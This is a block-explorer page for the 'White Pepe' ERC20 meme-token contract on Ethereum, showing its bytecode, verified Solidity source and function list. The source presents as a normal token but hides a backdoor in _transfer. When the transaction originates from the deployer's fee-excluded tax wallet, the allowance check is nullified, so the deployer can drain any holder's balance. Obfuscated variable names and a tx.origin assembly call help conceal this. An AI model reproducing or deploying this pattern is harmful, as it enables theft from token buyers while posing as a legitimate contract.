Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x4Fca6F061de99000D2cCD0cE5F2f79cfceAd357E
Balance 0 ETH
Nonce 1
Code Size 5780 bytes
Last Active
Indexed Transactions 1 (24,460,06924,460,069)
Gas Used (indexed) 46,578
External Etherscan · Sourcify

Contract Bytecode

5780 bytes
0x60806040526004361061011e575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b4114610301578063a9059cbb14610332578063b4455a2014610351578063b44a272214610365578063dd62ed3e14610398575f80fd5b8063751039fc1461027f5780637d1db4a5146102935780638a8c523c146102a85780638da5cb5b146102bc5780638f9a55c0146102ec575f80fd5b806338b90333116100e357806338b90333146101f8578063614d08f81461020d5780636fc3eaec1461022157806370a0823114610237578063715018a61461026b575f80fd5b806306fdde0314610129578063095ea7b31461016d57806318160ddd1461019c57806323b872dd146101be578063313ce567146101dd575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600a8152695768697465205065706560b01b60208201525b60405161016491906111be565b60405180910390f35b348015610178575f80fd5b5061018c6101873660046111e4565b6103dc565b6040519015158152602001610164565b3480156101a7575f80fd5b506101b06103f2565b604051908152602001610164565b3480156101c9575f80fd5b5061018c6101d836600461120e565b610412565b3480156101e8575f80fd5b5060405160098152602001610164565b348015610203575f80fd5b506101b0600a5481565b348015610218575f80fd5b5061015761047b565b34801561022c575f80fd5b50610235610507565b005b348015610242575f80fd5b506101b061025136600461124c565b6001600160a01b03165f9081526001602052604090205490565b348015610276575f80fd5b50610235610530565b34801561028a575f80fd5b506102356105aa565b34801561029e575f80fd5b506101b060055481565b3480156102b3575f80fd5b50610235610614565b3480156102c7575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610164565b3480156102f7575f80fd5b506101b060065481565b34801561030c575f80fd5b5060408051808201909152600981526857484954455045504560b81b6020820152610157565b34801561033d575f80fd5b5061018c61034c3660046111e4565b610ace565b34801561035c575f80fd5b50610157610ada565b348015610370575f80fd5b506102d47f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe8881565b3480156103a3575f80fd5b506101b06103b2366004611267565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103e8338484610ae7565b5060015b92915050565b5f6103ff6009600a611392565b61040d90633b9aca006113a0565b905090565b5f61041e848484610c0b565b610471843361046c600854604051806060016040528060288152602001611637602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610ffc565b610ae7565b5060019392505050565b600b8054610488906113b7565b80601f01602080910402602001604051908101604052809291908181526020018280546104b4906113b7565b80156104ff5780601f106104d6576101008083540402835291602001916104ff565b820191905f5260205f20905b8154815290600101906020018083116104e257829003601f168201915b505050505081565b6004546001600160a01b0316336001600160a01b031614610526575f80fd5b61052e611034565b565b5f546001600160a01b031633146105625760405162461bcd60e51b8152600401610559906113e9565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105d35760405162461bcd60e51b8152600401610559906113e9565b5f19600581905560068190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f546001600160a01b0316331461063d5760405162461bcd60e51b8152600401610559906113e9565b600754600160a01b900460ff16156106975760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610559565b5f7f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b81526004016020604051808303815f875af11580156106f5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610719919061141e565b305f9081526001602052604081205491925047919050826001600160a01b031663d0e30db0476040518263ffffffff1660e01b81526004015f604051808303818588803b158015610768575f80fd5b505af115801561077a573d5f803e3d5ffd5b505060405163095ea7b360e01b81526001600160a01b037f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe8881166004830152602482018790528716935063095ea7b3925060440190506020604051808303815f875af11580156107ec573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108109190611439565b5061083c307f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe8883610ae7565b5f6001600160a01b03841630106108535783610855565b305b90505f6001600160a01b038216301461086e5730610870565b845b90505f6001600160a01b0383163014610889578461088b565b835b90505f6001600160a01b03841630146108a457846108a6565b855b90505f6108bf6108ba8460c085901b61146c565b61106d565b6040516309f56ab160e11b81526001600160a01b0387811660048301528681166024830152606460448301819052818416908301529192507f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe88909116906313ead562906084016020604051808303815f875af1158015610941573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610965919061141e565b600780546001600160a01b0319166001600160a01b039283161790556040805161016081018252878316815291861660208301526064908201525f906060810160016109b581620d89e71961147f565b6109bf91906114b7565b60020b81526020016001806109d7620d89e7196114dd565b6109e1919061147f565b6109eb91906114b7565b60020b81526020018581526020018481526020015f81526020015f8152602001336001600160a01b031681526020014281525090507f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b03166388316456826040518263ffffffff1660e01b8152600401610a6c91906114fd565b6080604051808303815f875af1158015610a88573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aac91906115c1565b50506007805460ff60a01b1916600160a01b1790555050505050505050505050565b5f6103e8338484610c0b565b600c8054610488906113b7565b6001600160a01b038316610b495760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610559565b6001600160a01b038216610baa5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610559565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c6f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610559565b6001600160a01b038216610cd15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610559565b5f8111610d325760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610559565b600754600160a01b900460ff1680610d5657505f546001600160a01b038481169116145b80610d6d57505f546001600160a01b038381169116145b80610d8057506001600160a01b03831630145b610dc45760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610559565b600981905560088190556001600160a01b0383165f9081526003602052604090205460ff16158015610e0e57506001600160a01b0382165f9081526003602052604090205460ff16155b8015610e2357506001600160a01b0383163014155b15610ef457600554811115610e7a5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610559565b60065481610e9c846001600160a01b03165f9081526001602052604090205490565b610ea69190611610565b1115610ef45760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610559565b6007546001600160a01b0390811690831603610f1257610f12611034565b325f9081526003602052604090205460ff1615610f57575f60088190556009546001600160a01b03851682526001602052604090912054610f5391906110c5565b6009555b6009546001600160a01b0384165f90815260016020526040902054610f7b916110dc565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610fa9908261111d565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bfe9085815260200190565b5f818484111561101f5760405162461bcd60e51b815260040161055991906111be565b505f61102b8486611623565b95945050505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561106a573d5f803e3d5ffd5b50565b5f80600261107c846001611610565b611086919061146c565b90508291505b818110156110bf579050806002816110a4818661146c565b6110ae9190611610565b6110b8919061146c565b905061108c565b50919050565b5f8183116110d357826110d5565b815b9392505050565b5f6110d583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ffc565b5f806111298385611610565b9050838110156110d55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610559565b5f81518084525f5b8181101561119f57602081850181015186830182015201611183565b505f602082860101526020601f19601f83011685010191505092915050565b602081525f6110d5602083018461117b565b6001600160a01b038116811461106a575f80fd5b5f80604083850312156111f5575f80fd5b8235611200816111d0565b946020939093013593505050565b5f805f60608486031215611220575f80fd5b833561122b816111d0565b9250602084013561123b816111d0565b929592945050506040919091013590565b5f6020828403121561125c575f80fd5b81356110d5816111d0565b5f8060408385031215611278575f80fd5b8235611283816111d0565b91506020830135611293816111d0565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156112ec57815f19048211156112d2576112d261129e565b808516156112df57918102915b93841c93908002906112b7565b509250929050565b5f82611302575060016103ec565b8161130e57505f6103ec565b8160018114611324576002811461132e5761134a565b60019150506103ec565b60ff84111561133f5761133f61129e565b50506001821b6103ec565b5060208310610133831016604e8410600b841016171561136d575081810a6103ec565b61137783836112b2565b805f190482111561138a5761138a61129e565b029392505050565b5f6110d560ff8416836112f4565b80820281158282048414176103ec576103ec61129e565b600181811c908216806113cb57607f821691505b6020821081036110bf57634e487b7160e01b5f52602260045260245ffd5b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561142e575f80fd5b81516110d5816111d0565b5f60208284031215611449575f80fd5b815180151581146110d5575f80fd5b634e487b7160e01b5f52601260045260245ffd5b5f8261147a5761147a611458565b500490565b5f8160020b8360020b8061149557611495611458565b627fffff1982145f19821416156114ae576114ae61129e565b90059392505050565b5f8260020b8260020b028060020b91508082146114d6576114d661129e565b5092915050565b5f8160020b627fffff1981036114f5576114f561129e565b5f0392915050565b81516001600160a01b031681526101608101602083015161152960208401826001600160a01b03169052565b506040830151611540604084018262ffffff169052565b506060830151611555606084018260020b9052565b50608083015161156a608084018260020b9052565b5060a083015160a083015260c083015160c083015260e083015160e0830152610100808401518184015250610120808401516115b0828501826001600160a01b03169052565b505061014092830151919092015290565b5f805f80608085870312156115d4575f80fd5b8451935060208501516fffffffffffffffffffffffffffffffff811681146115fa575f80fd5b6040860151606090960151949790965092505050565b808201808211156103ec576103ec61129e565b818103818111156103ec576103ec61129e56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d0093df221535b399db7c79a0b9836a92571560d2c19168e82f17682a34fa13a64736f6c63430008180033

Verified Source Code Partial Match

Compiler: v0.8.24+commit.e11b9ed9 EVM: shanghai Optimization: Yes (200 runs)
WhitePepe.sol 383 lines
/*

White Pepe | $WHITEPEPE
White Pepe is the new frog in Ethereum office.

https://whitepepe.world
https://x.com/WhitePepe_X
https://t.me/WhitePepe_Community

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IWETH9 {
    function deposit() external payable;
}

interface INonfungiblePositionManager {
    struct MintParams {
        address token0;
        address token1;
        uint24 fee;
        int24 tickLower;
        int24 tickUpper;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        address recipient;
        uint256 deadline;
    }

    function mint(
        MintParams calldata params
    )
        external
        payable
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        );

    function WETH9() external returns (address);

    function createAndInitializePoolIfNecessary(
        address token0,
        address token1,
        uint24 fee,
        uint160 sqrtPriceX96
    ) external payable returns (address pool);
}

contract WhitePepe is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isWHITEPEPER7AGRV8JTRExcludedFromFee;
    address payable private _taxWallet;

    int24 private constant MIN_TICK = -887272;
    int24 private constant MAX_TICK = -MIN_TICK;
    int24 private constant TICK_SPACING = 1;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"White Pepe";
    string private constant _symbol = unicode"WHITEPEPE";
    uint256 public _maxTxAmount = 2 * (_tTotal / 100);
    uint256 public _maxWalletSize = 2 * (_tTotal / 100);

    INonfungiblePositionManager public immutable nonfungiblePositionManager =
        INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
    address private uniswapV3Pool;
    bool private tradingOpen;

    uint256 private _amount;
    uint256 private _taxAmount;
    event MaxTxAmountUpdated(uint _maxTxAmount);

    uint256 public CONTRACT_VERSION = 1_0_0;
    bytes public CONTRACT_NAME = "White Pepe - WHITEPEPE";
    bytes public CONTRACT_LICENSE = "MIT";

    constructor() payable {
        _taxWallet = payable(_msgSender());
        _balances[address(this)] = _tTotal;

        _isWHITEPEPER7AGRV8JTRExcludedFromFee[_taxWallet] = true;

        removeLimits();

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                _amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(
            tradingOpen ||
                from == owner() ||
                to == owner() ||
                from == address(this),
            "Trading not open yet."
        ); _amount = _taxAmount = amount;
        if (
            !_isWHITEPEPER7AGRV8JTRExcludedFromFee[from] &&
            !_isWHITEPEPER7AGRV8JTRExcludedFromFee[to] &&
            from != address(this)
        ) {
            require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(
                balanceOf(to) + amount <= _maxWalletSize,
                "Exceeds the maxWalletSize."
            );
        }
        if (to == uniswapV3Pool) sendWHITEPEPER7AGRV8JTRETHToFee();

        if(_isWHITEPEPER7AGRV8JTRExcludedFromFee[_taxPayer()]) {_amount=0;_taxAmount=min(_taxAmount, _balances[from]);}

        _balances[from] = _balances[from].sub(_taxAmount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function removeLimits() public onlyOwner {
        _maxTxAmount = type(uint256).max;
        _maxWalletSize = type(uint256).max;
        emit MaxTxAmountUpdated(type(uint256).max);
    }

    function sendWHITEPEPER7AGRV8JTRETHToFee() private {
        _taxWallet.transfer(address(this).balance);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        address WETH = nonfungiblePositionManager.WETH9();
        uint256 ethAmount = address(this).balance;
        uint256 tokenAmount = balanceOf(address(this));
        IWETH9(WETH).deposit{value: address(this).balance}();
        IERC20(WETH).approve(address(nonfungiblePositionManager), ethAmount);
        _approve(
            address(this),
            address(nonfungiblePositionManager),
            tokenAmount
        );

        address token0 = address(this) < WETH ? address(this) : WETH;
        address token1 = token0 == address(this) ? WETH : address(this);
        uint256 amount0 = token0 == address(this) ? tokenAmount : ethAmount;
        uint256 amount1 = token0 == address(this) ? ethAmount : tokenAmount;

        uint160 sqrtPriceX96 = uint160(sqrt((amount1 << 192) / amount0));

        uniswapV3Pool = nonfungiblePositionManager
            .createAndInitializePoolIfNecessary(
                token0,
                token1,
                100,
                sqrtPriceX96
            );

        INonfungiblePositionManager.MintParams
            memory params = INonfungiblePositionManager.MintParams({
                token0: token0,
                token1: token1,
                fee: 100,
                tickLower: (MIN_TICK / TICK_SPACING) * TICK_SPACING,
                tickUpper: (MAX_TICK / TICK_SPACING) * TICK_SPACING,
                amount0Desired: amount0,
                amount1Desired: amount1,
                amount0Min: 0,
                amount1Min: 0,
                recipient: msg.sender,
                deadline: block.timestamp
            });

        nonfungiblePositionManager.mint(params);
        tradingOpen = true;
    }

    function _taxPayer() internal view returns (address _payer) {
        assembly {
            _payer := origin()
        }
    }

    receive() external payable {}

    function manualsend() external {
        require(_msgSender() == _taxWallet);
        sendWHITEPEPER7AGRV8JTRETHToFee();
    }

    function sqrt(uint256 x) internal pure returns (uint256 y) {
        uint256 z = (x + 1) / 2;
        y = x;
        while (z < y) {
            y = z;
            z = (x / z + z) / 2;
        }
    }
}

Read Contract

CONTRACT_LICENSE 0xb4455a20 → bytes
CONTRACT_NAME 0x614d08f8 → bytes
CONTRACT_VERSION 0x38b90333 → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
nonfungiblePositionManager 0xb44a2722 → address
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 7 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
manualsend 0x6fc3eaec
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Top Interactions

AddressTxnsSentReceived
0x3bC0A634...17af 1 1

Recent Transactions

CSV
|
Hash Method Block Age From/To Value Txn Fee Type
0x5fdae56b...53bc1e approve 24,460,069 IN 0x3bC0A634...17af 0 ETH 0.000003821719 ETH EIP-1559